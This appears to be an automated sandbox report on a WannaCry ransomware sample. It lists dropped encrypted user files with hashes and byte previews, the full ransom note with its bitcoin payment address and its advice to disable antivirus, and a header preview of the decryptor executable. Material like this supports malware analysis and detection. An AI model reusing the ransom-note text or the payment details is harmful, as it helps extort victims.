                                                                                                      SHA-256:68B21349BC9383F1B2EF35D09051C245EA51FAC1C8F78E3630CB9F9E3A1CCFE0
                                                                                                      SHA-512:8F3AF850B214AA30DA5F26A93628E15CCA9DF3B27DBD2EE392656AAB4393DE93BFC6903A915BD456B019A5634943C67BD859DCFC3FFCD3B32DBB87E9815CC0C6
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:@..)=-f.....PQ.5..s..08..'j.IcK:0.p.")3....}...y.%].....I..jDBYowj@T.\....0S...!<...S....4.-.......e.b...4...{|..@....k].D.it.L......^..M....]Y.J .MYVW.j...A....]....,F.f....$.|.!..5\../...&.|..K..6...U.nZ....Z..o..0{7n...Ki=..S...v .Y.........4%.>..0..... A.....w...0c@..f(......D#.A~...^..n..........=..'Z....i..p...Ul.......Avu..X..{B.L.....kO.......V?lk..b..f.t..9@...O...L.I_.\m...........$..`G...A..wW..g..Q..'.Gy.')..i...k.2...m...L.......Xv.Z...F.r.."7..l....].g.o^U^.D.I<..W.....P1..u...x<4....9.\k.........0.Z.bT-.9....a.!8.T.'.P["y....9..oD.]...H....(L..j(#)cFK.|...:A...Y...(|.....(-..)Sm.;.^$.B..3..U.<...Q....U...qUbC.r...(....T....NOH\x.O.y...`..]...#a1....U..*.j...f.,.*..5U5.`.-...|..Uv..;..bP.u.l.s.....i..4...Z...x.s...@.YQ.R."u.Xn...=._Mf...6.5.S.T...y.I.E%..B m....-S...l..Lb.i{W.7{...V..r............c..rg..>>.=.4.&.............X...[je.t3..\9u,`L9..%...wPT9P...7...3....<.\..G....._.w.:...$..2.#........=1s..1nG......Z....[y.0.....J..p.

                                                                                                      C:\Users\user\Documents\ZGGKNSUKOP.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.831998805959886
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhH+oNDQ4fpVTupojLf8RbXF0NAt/87YmrhHd7uFXdOz3iJX+yB+cQhfhb:bkVNDQ4fpVTlj8FV0G8UmrbKFXdqSPQP
                                                                                                      MD5:075552FABCE88963DA115D064EF5B21D
                                                                                                      SHA1:AAFC48551A85F0B41CD8DA609F2EF8D77CCD28A8
                                                                                                      SHA-256:6BD7C59DD5DEF1380D0A05BD79EF2C1DE082FC4B75C79335C0E09734973B4F74
                                                                                                      SHA-512:35645B8EBB7EAC9582020E74B68113DF8319B89C6D4BBE7AEB289852EBEB0669A6FD359317C0B1D37D48DF126A6A22D23D7A64A17DFBAD344AD8A4BF23138C63
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....vc.F..KB..F6..<T...n....&.....)N.n.5..:[........J.%k......8Y...M..H.&....j.F...V(.Q...{...5.;.-=.<..|....fg.9".Ke_~1.h.R*yH....j{~.+......W.......&'..V....M!.l......d.O.\5...F.z......p.\.'..4.5...Z).=...S.......z#....{....j.f..6......j................Oj.x..wx..}y.a......*.n.R=Jx.%.......0.v*....BW..l.jp...`.wO....4.v.u.r..]N-..,.4.KM........#:.W.....ob..u.(......M......}a..b6q..?.......m.Q9.`/.R.&++.x....z.Sku..,"..P*.[ .;...`q..;..u*..u.*...[:.4.(.K#z...........w.1.s...v.d..*.F$[.f..D..).gt......U.....!.`o....*...h.u.4cb.....7}0uj....p..0...~..g...!6..C|.u...^)"}..|....8....4..;..I3.>..;y.B."y.j.xME.....P.0....fF,AD..Y.=....d..UM..itfs~..W....@,......B..rL...G(....$(.Z..*x(.g.bq..2.q.R$....1..C...w.=..,.U..I..ePV...p^rm.. .....-..9.y.....;.#...8........@.........(......`.l0..g.}u.."z.p.Y.X7u.@...MgkI..xp.'*m*...i.-d..6.&..n.-...V....$.$..I.s...Vu...*..W...Nh.x$.|........dY...F..o.o.YL..a\..U.=...Xo..R.vq.n..&... .),

                                                                                                      C:\Users\user\Documents\ZGGKNSUKOP.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.831998805959886
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhH+oNDQ4fpVTupojLf8RbXF0NAt/87YmrhHd7uFXdOz3iJX+yB+cQhfhb:bkVNDQ4fpVTlj8FV0G8UmrbKFXdqSPQP
                                                                                                      MD5:075552FABCE88963DA115D064EF5B21D
                                                                                                      SHA1:AAFC48551A85F0B41CD8DA609F2EF8D77CCD28A8
                                                                                                      SHA-256:6BD7C59DD5DEF1380D0A05BD79EF2C1DE082FC4B75C79335C0E09734973B4F74
                                                                                                      SHA-512:35645B8EBB7EAC9582020E74B68113DF8319B89C6D4BBE7AEB289852EBEB0669A6FD359317C0B1D37D48DF126A6A22D23D7A64A17DFBAD344AD8A4BF23138C63
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....vc.F..KB..F6..<T...n....&.....)N.n.5..:[........J.%k......8Y...M..H.&....j.F...V(.Q...{...5.;.-=.<..|....fg.9".Ke_~1.h.R*yH....j{~.+......W.......&'..V....M!.l......d.O.\5...F.z......p.\.'..4.5...Z).=...S.......z#....{....j.f..6......j................Oj.x..wx..}y.a......*.n.R=Jx.%.......0.v*....BW..l.jp...`.wO....4.v.u.r..]N-..,.4.KM........#:.W.....ob..u.(......M......}a..b6q..?.......m.Q9.`/.R.&++.x....z.Sku..,"..P*.[ .;...`q..;..u*..u.*...[:.4.(.K#z...........w.1.s...v.d..*.F$[.f..D..).gt......U.....!.`o....*...h.u.4cb.....7}0uj....p..0...~..g...!6..C|.u...^)"}..|....8....4..;..I3.>..;y.B."y.j.xME.....P.0....fF,AD..Y.=....d..UM..itfs~..W....@,......B..rL...G(....$(.Z..*x(.g.bq..2.q.R$....1..C...w.=..,.U..I..ePV...p^rm.. .....-..9.y.....;.#...8........@.........(......`.l0..g.}u.."z.p.Y.X7u.@...MgkI..xp.'*m*...i.-d..6.&..n.-...V....$.$..I.s...Vu...*..W...Nh.x$.|........dY...F..o.o.YL..a\..U.=...Xo..R.vq.n..&... .),

                                                                                                      C:\Users\user\Documents\ZIPXYXWIOY.mp3

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.806791920926176
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Dv+ZeQyQeZ0xX+pjEZavHBQelHy6gjT1c7Wjeh4:D2peyqjRPj1gjT1Bd
                                                                                                      MD5:650E4FDB96DF6CA631DCC912E1DF3E70
                                                                                                      SHA1:A6E17169231C57C9F1177F96DBD240D275229BD3
                                                                                                      SHA-256:633126B117A724E7E98007589E580485189ECD337490E4D3E854DD4E8419F679
                                                                                                      SHA-512:B16732428597F475DD3D7E83960BA4A9ED69ECEDA8E587E90C7A6D30F2F86E070602751302537DCB633E6EEE45DC7EE92CC41DAA24A7F0E8F2A5C8B5DB0E53D4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:EhOXH..I....q...ZY./.~t._.rg,,..^..>;.|<...gnS.8F..|.^5..[...LX...}...z..>..G%.....}.7.2h...}.A.=G{.+.H....`....M.#R.p#...ZK.ti...W\}..L&..$.B....l..?W....%v.<....#b."....=1.....<7.x.....`.G..y3i.....87.@N....k/...:#..*........6,WV.=...D1t(...Yi{.....<x....Wh.`.C.R_.UWN.A.u....$[.j...oy!.....P.v..?+..2.H5.4o8.+."...%...O...m....%.h-..>..M8i....9.@.|..5.....PL.!.=...<.T...G....T.).rV1.w.a..I...N..z.......#..j.....F`)6...%V..p7...MP{..PX.C oDj&.....u.x.M.....P.|..!O.mr.........M.Y<<{.<....V.;.oS.q.veO..6<.UA.A.j.`.z..0.m..Vw)|.!......ZX..G......R.?....b:yf.MS).c'^..................._.O............x.'M..].2.H.}...K....f..7.#P.:t....&.z4Xc.Y.S.X...pX...6~.<..)..?">z..M....U@%d...B.:7.c....$...K.F]....~.\ Ju..[....O_.......;....8....l.]..u...N.f.+5..D..E3w....q...C..O...`..(*1..P@.f....r.Z....v...9`.N.....Kdx...bl.;.:...C......3....G7.xfX.l..N...\ ....=..l........o........Dh..RCX$...e.U.......`..].7Dg8].>.4..>.y\Za...r._....d.P60...0

                                                                                                      C:\Users\user\Documents\ZIPXYXWIOY.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.842785892413579
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkRaJhXB7UsI/q+9FqeLbUh0FDewvu4qWwA4CS06IaMiR9aRO:bkRo3Us9+3ewvhqWwA4CKUY4RO
                                                                                                      MD5:7E818195D2FBAB6C78EA2B7DD702AFE4
                                                                                                      SHA1:4FA4F8C02D2EC694AD79B9FA917EC070F98508BE
                                                                                                      SHA-256:8FD21E9EA0E3E500CB3D0630C38725DEC139DA41815BC1FBAFE540F03AE73D58
                                                                                                      SHA-512:FDECCE3314E14CD9F54893A57060371A639BD1DE6E053B828BDB6F46061581744BF541B47B9E46E05D1571BA8C7E33BD11CB89B2ADBBAE9815B141843BB315CA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......o...?.I..a.O.A.S.C...M...KK<.Hjch...@....%q..3...:.&...KQ......39..7I.....].B.d.<........T...#....Ya...gD....zO.....d.{|.=..T..(.@>.W.3.o...X.?..9..B....t.A.r.....:u.....v....9...o.:.2w.*x.i./..{.i{M._S=>.v ...ms.0..+..BO.w3%z..,....B.k................t.6.9......"..X...m.....w..9.:`pw8.....1%w.p7.;.d.<...Q..y....B....I].....~.../.[^....q....{.-.2.0..s...6........Qt...o...W..h}.d.+..l[.a...{Ox0...@.O.&..vs}...m..X...`..7.#..N$..}b.<H.m..%....d.<N...|..`@E.kj.,.8k....yE..x...x.ECK..VN..r..P...#..N'W.S..98..C.;'...... ...k:C....;..x......H.@....3.I.0,B.....HS/2ZY.,.).0H......>.t...S.3D.d.A.../.$q......|..9.n.8e7.e...[.gq...a.CD....g#;&...*.....K.\.+=.4U....M.25...NC...&.9.B.*..V.[..Y....XG.#..8..1.=..8,.X*H..L."g_..r..e}_...p2.v..>L7.1...i..n.6j#Z.n.i9q9...N1e=6.A....*.XP..(q..|...W.}9|S.(/j.+.......q.....la..@.`.6.G%.2E.y..`........!.0*..v.K....$LN.bX....NnV....lo...k.....(.\n.H9'......n./..7.. ..0.. .t....0..L.f..e.".\mJQZ.(D.s=[

                                                                                                      C:\Users\user\Documents\ZIPXYXWIOY.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.842785892413579
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkRaJhXB7UsI/q+9FqeLbUh0FDewvu4qWwA4CS06IaMiR9aRO:bkRo3Us9+3ewvhqWwA4CKUY4RO
                                                                                                      MD5:7E818195D2FBAB6C78EA2B7DD702AFE4
                                                                                                      SHA1:4FA4F8C02D2EC694AD79B9FA917EC070F98508BE
                                                                                                      SHA-256:8FD21E9EA0E3E500CB3D0630C38725DEC139DA41815BC1FBAFE540F03AE73D58
                                                                                                      SHA-512:FDECCE3314E14CD9F54893A57060371A639BD1DE6E053B828BDB6F46061581744BF541B47B9E46E05D1571BA8C7E33BD11CB89B2ADBBAE9815B141843BB315CA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......o...?.I..a.O.A.S.C...M...KK<.Hjch...@....%q..3...:.&...KQ......39..7I.....].B.d.<........T...#....Ya...gD....zO.....d.{|.=..T..(.@>.W.3.o...X.?..9..B....t.A.r.....:u.....v....9...o.:.2w.*x.i./..{.i{M._S=>.v ...ms.0..+..BO.w3%z..,....B.k................t.6.9......"..X...m.....w..9.:`pw8.....1%w.p7.;.d.<...Q..y....B....I].....~.../.[^....q....{.-.2.0..s...6........Qt...o...W..h}.d.+..l[.a...{Ox0...@.O.&..vs}...m..X...`..7.#..N$..}b.<H.m..%....d.<N...|..`@E.kj.,.8k....yE..x...x.ECK..VN..r..P...#..N'W.S..98..C.;'...... ...k:C....;..x......H.@....3.I.0,B.....HS/2ZY.,.).0H......>.t...S.3D.d.A.../.$q......|..9.n.8e7.e...[.gq...a.CD....g#;&...*.....K.\.+=.4U....M.25...NC...&.9.B.*..V.[..Y....XG.#..8..1.=..8,.X*H..L."g_..r..e}_...p2.v..>L7.1...i..n.6j#Z.n.i9q9...N1e=6.A....*.XP..(q..|...W.}9|S.(/j.+.......q.....la..@.`.6.G%.2E.y..`........!.0*..v.K....$LN.bX....NnV....lo...k.....(.\n.H9'......n./..7.. ..0.. .t....0..L.f..e.".\mJQZ.(D.s=[

                                                                                                      C:\Users\user\Downloads\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Downloads\@WanaDecryptor@.exe

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):245760
                                                                                                      Entropy (8bit):6.278920408390635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                      Malicious:true
                                                                                                      Antivirus:
                                                                                                      • Antivirus: ReversingLabs, Detection: 97%
                                                                                                      • Antivirus: Virustotal, Detection: 91%, Browse
                                                                                                      Reputation:unknown
                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                      C:\Users\user\Downloads\BJZFPPWAPT.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.860183799360276
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkfZUoCqFrho7E7th/PFaor9iCuZr+h9WbtQXoFF3pHj1LOUBG47BJZ+Esu7l:bkfWXKooDPtUCuZr+XW6XoFF95OQGYZL
                                                                                                      MD5:3EB2917B4A99303EB24F8A880FAE47A7
                                                                                                      SHA1:79BD11C135AC516FBAB3C22C7BFDD71C3E89DC87
                                                                                                      SHA-256:66C154E51EB68B3F687F7A3990271EBB2D871D3DB4A1AFA3E941094FFF78F625
                                                                                                      SHA-512:1EEF5111BF518761A9BAD43C225EF1CC52DC046F57BA16F360DF61FE0A262D3FDCB659D95E56223B3516E727EC0C5D8261F412E31FFEDA09934CF3AFECB52E67
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........1A...0.2.`.bQ.ib..l!.W.E?..... _B....o.....=<....bE...Ra..1...P.....`2..-..j.....y1...[.{J}..&Y.\,....j......R..@..#._...G.If-F-..z...:..g.]G..5#.c...9Q...^.......qr.&..o.{K..r...#/....D......0.u.U....6..v8#_X./...t....w......P........Z(................V.......c...G..!.K.Zd.#.3^%.......\]...1.1..W.c...".z.-|3.z.zd.%.ri["..........6....n..h E\......%...7b53.....=Ymx.r...0!........r.Y.K..><S.A|.+Z......A?_s"q.kSF......9.aZ..Qf.../kJ..).S..V::.j..EI....D..ZG..m.9..~fD.B.~..m.l....D.j........8@..U.&>.%5....<q(G$......yY<.;npB.....W|U.S_.b...n7 ....w...;..M.[..RC..x.y.8.......ni.....C... .N[..E...L.....ke..Y%~...O..$(...-? v:>....g.h.J?....h.gPe..W.[.n.y4..'....B..d}w...qOc.Hd.#......u.<...J..p.{rKOL...-F..~....>p.{..V..........s.a.F..V!.i...4.(.:.5p.!...h.>#.f...."...{Z...C...~ .77E.Q.~..H{.Uc.P..b..}R.F..... ....#..}S..5@...~...".Jb..X.o.).8............:A*W.P#.b!-.O.RR..z%...T.%z1>...}.f.sv[ 9..R.s.@..+.......^.....U

                                                                                                      C:\Users\user\Downloads\EEGWXUHVUG.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859319804776305
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkyMPZhbGKoZkfW7PFplWGkAvf8bIzCYJcN6ABt662wtVMz5y/3yXu3I:bkyyhbx+kebFpUAvw5YeNZ12ng/yXF
                                                                                                      MD5:E2E5A2A3AC13450474471A1D3ABEDC82
                                                                                                      SHA1:4838FE0FFAC1B3108965091E4BD2E2CA04686F52
                                                                                                      SHA-256:54A05D9DEDAA119A2C5DBF933F255B78702EB93D177D8C8FF20E6104EF22396D
                                                                                                      SHA-512:AFB5CDE3634D070E2B73C7AF8B6BCAE9C02ED52434044AB5AD6EE7C24CB6708F5384B85A6EA2554F2BCDFBFCBEDB8B29CD7DF11545BC7CBF4F0742897366EF47
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......P`/.g./.k+}.z.y.@R...ZCV.8...g-Y..%U..,+.....P..^.B......f8..DG"..Vq.......YN.f.0.]+..2...e$.g..R.W...F.O...0a....].....f..vB..(..8..=^..J. .3a&....UV..tpU.]..H...ATdZ,.fF>iJm-e.........~.qA;.9...I`F.u.P....S...........3wn....)..._I..)...&.K.............D..B3...U...-Z-7......Q.....po...+.........{....c....,.|.:x..."J.4..._\$iN.....D..G...:~.{.;..52&......uk*..(r&lqG.9..0.........0..=..#..`...o............$?kG..x}j...8{...~..^y.{%..y.I.I....$@6#.f..y..........%.......Gn.`..IP.8qW......C.(.."....1s.A6.......AM\..X..k.......D...w=Y..u...h.iC...q...{.....q.7R~0..ff.........h.0)..R.\...\tZ.E..|...[.q......P...v.K..........Q..x...;....J.....sY1"..$........[...NK.3.xL.../0.:.l.U..BNWyd..\..3.A.m..z].c.x.U..r~g.H..P2.n../H..tR.0.2.....i(..-..*f....;6..f.....E....7..X...w..$.@2.S..3..kYP.(..?.V..|n.n....U..lU...X......~.......F`l._o.3m..0..Tw...Aj.......|..>.@......r3yLlQ....v..{....{_.#o..u......PZ.t.D<.C .._....$.....=1`.W..)..._{.

                                                                                                      C:\Users\user\Downloads\EFOYFBOLXA.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.845448901759014
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkKblsoVqZ3yhZ3MyTCxfeyEic0PrpD6MWCeDrSP9HbyAd14QL:bkKlJ4RyjMyk4AzzWCorSP5bpF
                                                                                                      MD5:BC186B73892A60C27840CCB06EF8BD14
                                                                                                      SHA1:55CFAC8BD9D9A424AAF682B1769F57FEAFE5609D
                                                                                                      SHA-256:A33A677C551A96324333CCADEC7BF2637F48BF9AF68C3D721F5D9D6516494817
                                                                                                      SHA-512:3A8753E8D3E81A357B6425B5A2E6499AD6E209C4460C35C41A5E46781DE195AFDF6D7404B20C5AD512E269BB6F8F8F7042AFAB1F7915EF8284C07E1A5AD6C9A0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......H.q..4D..J.z.gu...T.Xow.L......... `.4..G...h..\lb..o...;3..O._.H.MG..H.f....A.i..k.'.1.....g.}@..g_........5..t Z...%..!6.AO>.S....!....!R.."9BE...}.".a..W..,....;r.....f.d+.$d0..!...u.......BB.C...M3`.z_.2l.1.`..))_n..r%.B...o>...dq....9....=M...............Q1*..C.jqr......%N...H.l..tK?..'Qa\..M.>'....2?....z."..Bc.&w.q.Okj7.......,-....Q!...]........$N9.Kv.8.}...z.t.S...G..[..8|...f..O..Y....q_G.6.4. .*..@......w.P......%.....)M_v6H'.Q:.>...e[..U..0]..&f$..'..;#..[2.y....Auy..a..}@.%._.3.3..G_..1N72.Q..^=.TH..S..`...[U...z,{.u.'.y.=.C.:T.N..fI...v..].^!.w|cx..)x-..Bt.x..Bz".b.Jc..USJ.......F..(Z...B.+'.t.p.9Q...\v..gu.>....rr......1.9U."G.....U..Q`..u)...j,.6....a.....gA.6..).,3.....&x6MmU..$.....,.;......V'...q.....2L..'}...Wq...(..o.{/.....J.".,.,....m..<H.GN..t1.T...V...c^o7..)Y...(*.=.xk...g.Y>2..D..|........&.K.....~.....~/..TO.y....V.D<p...p=...X.%.>P+.k.o[.L6....&.Z...r..h.g.....o.|.=..}l...E.i_..B.O.{.r3.B......4.Y..

                                                                                                      C:\Users\user\Downloads\EFOYFBOLXA.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8407705119114635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzhioEFD7SrzT6yt8yEBCPx/hMYB89/o0gcQ2dMGzqWzla1dIqw9KyCgn4YEl/J:bkzJ1T6ytHEB4/hMH/o04jWzC7zkElKK
                                                                                                      MD5:421320517BDD0CC4FF9190E8E19AC855
                                                                                                      SHA1:B86C7239C042438FBF3B69B9997AEF3CAA1B2016
                                                                                                      SHA-256:75C5041C2105E36FC26902B2B46678D0F817148F31B43E0920F1CB360320BC2D
                                                                                                      SHA-512:EA4E8514EF0DB3AF7D8FDB196413DD10275C02C4E29FBB56F34EB90EB8969FFF6F802F48CE3927F8692DAAA0F1679AD5FE105B1738CE055293236D034E1A00A7
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......A.]..\..u..C..4.O.....r.o?..$...<AX|....~[=...A}"b0U%T.p....@...c.C.N..|...0..Thxj.........;...............f......N#d....s|.:.U.....U%.u...B...P.E.......]..+.....A...I.F...4..#xM..J~..VX<.....{..4+...S.....).1?W....ZR..")R*T......T.6...`w}I.............I."..-^n6.D.F...X.!......k....,.V.* e|.e.Ja..Ii......+f..b....7&.eCq?..8.SjcM..Y. L....|Cs.F...o..g.....V...<Th.,(.*....r...ra....;..<...2.*. ..L;.?.~K.PZ....e.<d...7<%..4.8!..........tq.ozT...P.}2.7...U..9.X.Z.....^.....N..0b...J@p...P..!y.Y?...+..<.L.y|.y.P.N.5S#....I.p.>..[.Ht...`..........-p...m.n.]r9..?B..-`.o..qp...u...........*..".q1(...#..=.w.&.!.^".!2.o.[....-a.....9...0P....S.t.`..\.>....le.k...E...y.v.Mi.F7..e.........7K..Ae.b.C%.......F&......^EL......6v<:._...E.u.BV<...Z.L....S.V|$K.Ra..DG.....,n.........n.....J.ag.C....;.X.x.!./u;l.o.:.P.......n."...V.Jk0W...N....*.W._v.Q@...s...C...h.3>.....r.......>M~.h_..l.~..m...o.[..... {......^t....<.I4..q..W.I..lSgJV.

                                                                                                      C:\Users\user\Downloads\EOWRVPQCCS.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833226174690227
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bksMBI1A10ccAZlIpIZqa4qw7vSEYDAfeAiqIgJga6SumcuH0hH8hg3jg0:bksXS04l154qw7SEpeGSAH7ug0
                                                                                                      MD5:DF213AB3D30F67C9DAFEF2C9AF751BCC
                                                                                                      SHA1:3296EC6C2159E4653E3B075DDE8C5E0B1D01F290
                                                                                                      SHA-256:F2203D1FDEC8154ED05A80992A2035930A61A976CF563C3FE0039992F6F7946E
                                                                                                      SHA-512:50E6DC9F795DF472950A33272B6438727EFE5524CCF759E381F9FF95AD852205903A37C5068F622375AE85349359182AF847727229B4A63BF11E36A6D5D18BF3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....e....Ke.rx.;P....l.f<-..q.4.I<"a5#;.q..?@dB..L+..4 ...DP...S.Ak=...mp...o.MGP.64.6....=$O...>.[.=.. .@.......#.;X/@..f.(.l".......w..U.&o.....7....<..\O..h...O.<.C..f......7|.....k..-.../.:.C.>L.3..G..{......1f'.@n....}..]...M}............s..............7...n5.pi.. ...]..6.ND.cR.....K.p...<S.'.*.....YueK..LxC.hH*+_...a...B(...Sr.Y.s.R=.{....fuu..Gb........A.....g]..Z...^HpK#&!K..:~.K..p...F.[#S...jm."...5.*....x.f..>=......P/.(d1.;.].P......70$%.....N.l....FD:.o...$)#...c.....rF.3..(.-...f..t...)...^w3o..}0#>]...S"....7#i...X]{N..D..=..W.%.k ..M.Pt..#..=']...i("(.l..a.Nk.@..b......d...!....3..]F...K.P....u....a.r39..........@Y.1...*...~....,.k...\.:.i....f}..^8..(rw.'^UCk..l.b.w..9.'......0'..>..,.p.30..Fp..x.C.D.&..................8D.._.......wD...S]..G..7..~.........o..O...."...V..f{9:.<m.z.~.m.<.TX..>.6tY.....d....5+..qz...[.._....G........p*.V=P.c.k..H>..e..d.IV.....Hm7.H....K.A...T.F.C.....aV.....s.hpS#~..J

                                                                                                      C:\Users\user\Downloads\GIGIYTFFYT.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83783005707206
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkpghVfMeQQqBBDRy3DtkV7vycMDnoUjai5MCijlcdcDnjuExrGDRxnO4z:bkCzXOrKYLytoUqlLPuEyDLOy
                                                                                                      MD5:3146A4B4B01F9AED5D87FEC4D56BFD8F
                                                                                                      SHA1:37A275F32E4496426CA37AD770C0F670166A3E20
                                                                                                      SHA-256:31B437E0EA7DED4F0F7B3614FFDCA3AB77DE7F7FB9A274341B5408252B8642F2
                                                                                                      SHA-512:E5E98B897B17F499E8E7366C7544D284D8456B7BF89F7455293F6F1A01DD7349FE3F7E5EE73405950082C52EE64A97A523EDA0D613E650B1DC96C16E05EA1A67
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
